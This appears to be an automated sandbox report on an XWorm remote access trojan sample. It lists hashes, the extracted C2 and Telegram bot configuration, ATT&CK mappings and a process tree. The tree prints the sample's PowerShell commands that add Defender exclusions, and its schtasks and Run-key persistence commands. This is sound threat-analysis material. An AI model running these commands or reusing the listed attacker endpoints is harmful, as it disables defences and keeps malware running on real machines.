xworm | 70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60

General

Target

XClient.exe
Size

80KB
MD5

18bfa92b77cf828eef637da14eefb770
SHA1

9c010b423e035c0751050bf96f61750509734029
SHA256

70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60
SHA512

de1cdaa74edf4d0604bc4625ee55ea15d627378c243b65e4cf19c9d5d28abdaafad288172ac7323d5ab1869b530f96dd553b38fe548ee6a4df4e2934fb9c3ca4
SSDEEP

1536:WJmDhjyCoaQ7o7nacdQNZwKdeol9bYjZomFqW6XOmH7AHmn+k:bVjVeOnacdQEwj9bY1omFcOmH7F+k

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

publication-glossary.gl.at.ply.gg:4444

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2228-1-0x0000000000920000-0x000000000093A000-memory.dmp	family_xworm
behavioral1/files/0x0005000000012000-34.dat	family_xworm
behavioral1/memory/316-36-0x0000000000010000-0x000000000002A000-memory.dmp	family_xworm
behavioral1/memory/2200-39-0x0000000000D70000-0x0000000000D8A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2808	powershell.exe
2572	powershell.exe
2588	powershell.exe
1988	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe

Executes dropped EXE 3 IoCs

pid	Process
316	security
2200	security
2312	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	XClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2992	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2228	XClient.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2808	powershell.exe
2572	powershell.exe
2588	powershell.exe
1988	powershell.exe
2228	XClient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	XClient.exe
Token: SeDebugPrivilege	2808	powershell.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2228	XClient.exe
Token: SeDebugPrivilege	316	security
Token: SeDebugPrivilege	2200	security
Token: SeDebugPrivilege	2312	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2228	XClient.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 2808	2228	XClient.exe	30
PID 2228 wrote to memory of 2808	2228	XClient.exe	30
PID 2228 wrote to memory of 2808	2228	XClient.exe	30
PID 2228 wrote to memory of 2572	2228	XClient.exe	32
PID 2228 wrote to memory of 2572	2228	XClient.exe	32
PID 2228 wrote to memory of 2572	2228	XClient.exe	32
PID 2228 wrote to memory of 2588	2228	XClient.exe	34
PID 2228 wrote to memory of 2588	2228	XClient.exe	34
PID 2228 wrote to memory of 2588	2228	XClient.exe	34
PID 2228 wrote to memory of 1988	2228	XClient.exe	36
PID 2228 wrote to memory of 1988	2228	XClient.exe	36
PID 2228 wrote to memory of 1988	2228	XClient.exe	36
PID 2228 wrote to memory of 2992	2228	XClient.exe	38
PID 2228 wrote to memory of 2992	2228	XClient.exe	38
PID 2228 wrote to memory of 2992	2228	XClient.exe	38
PID 2840 wrote to memory of 316	2840	taskeng.exe	42
PID 2840 wrote to memory of 316	2840	taskeng.exe	42
PID 2840 wrote to memory of 316	2840	taskeng.exe	42
PID 2840 wrote to memory of 2200	2840	taskeng.exe	43
PID 2840 wrote to memory of 2200	2840	taskeng.exe	43
PID 2840 wrote to memory of 2200	2840	taskeng.exe	43
PID 2840 wrote to memory of 2312	2840	taskeng.exe	45
PID 2840 wrote to memory of 2312	2840	taskeng.exe	45
PID 2840 wrote to memory of 2312	2840	taskeng.exe	45

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2992

C:\Windows\system32\taskeng.exe
taskeng.exe {1D01F936-DC93-4300-95A0-A26E508CA902} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:316
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2200
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f93bffdc325955ae0797f2dc922d27fb

SHA1
4d7bb0cbb943450389bc451699269d2fae448c8b

SHA256
23e6e5ea9d3e00a90fd918b08786efa3d914d3f87068a9804bd1b51817e65058

SHA512
7d3616bfa943f84fecd30bfd9b4af90f541b2c472fbf7a7318813e55d5cfe639cb04aba893e8cfb33c0541c9ff90bd33c6de151234d89db80bae2cc27a1bf0de

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
80KB

MD5
18bfa92b77cf828eef637da14eefb770

SHA1
9c010b423e035c0751050bf96f61750509734029

SHA256
70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60

SHA512
de1cdaa74edf4d0604bc4625ee55ea15d627378c243b65e4cf19c9d5d28abdaafad288172ac7323d5ab1869b530f96dd553b38fe548ee6a4df4e2934fb9c3ca4

Download Submit
memory/316-36-0x0000000000010000-0x000000000002A000-memory.dmp

Filesize
104KB

Download
memory/2200-39-0x0000000000D70000-0x0000000000D8A000-memory.dmp

Filesize
104KB

Download
memory/2228-31-0x000007FEF5C53000-0x000007FEF5C54000-memory.dmp

Filesize
4KB

Download
memory/2228-1-0x0000000000920000-0x000000000093A000-memory.dmp

Filesize
104KB

Download
memory/2228-0-0x000007FEF5C53000-0x000007FEF5C54000-memory.dmp

Filesize
4KB

Download
memory/2228-32-0x000000001B270000-0x000000001B2F0000-memory.dmp

Filesize
512KB

Download
memory/2228-30-0x000000001B270000-0x000000001B2F0000-memory.dmp

Filesize
512KB

Download
memory/2572-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2572-15-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2808-8-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2808-7-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2808-6-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads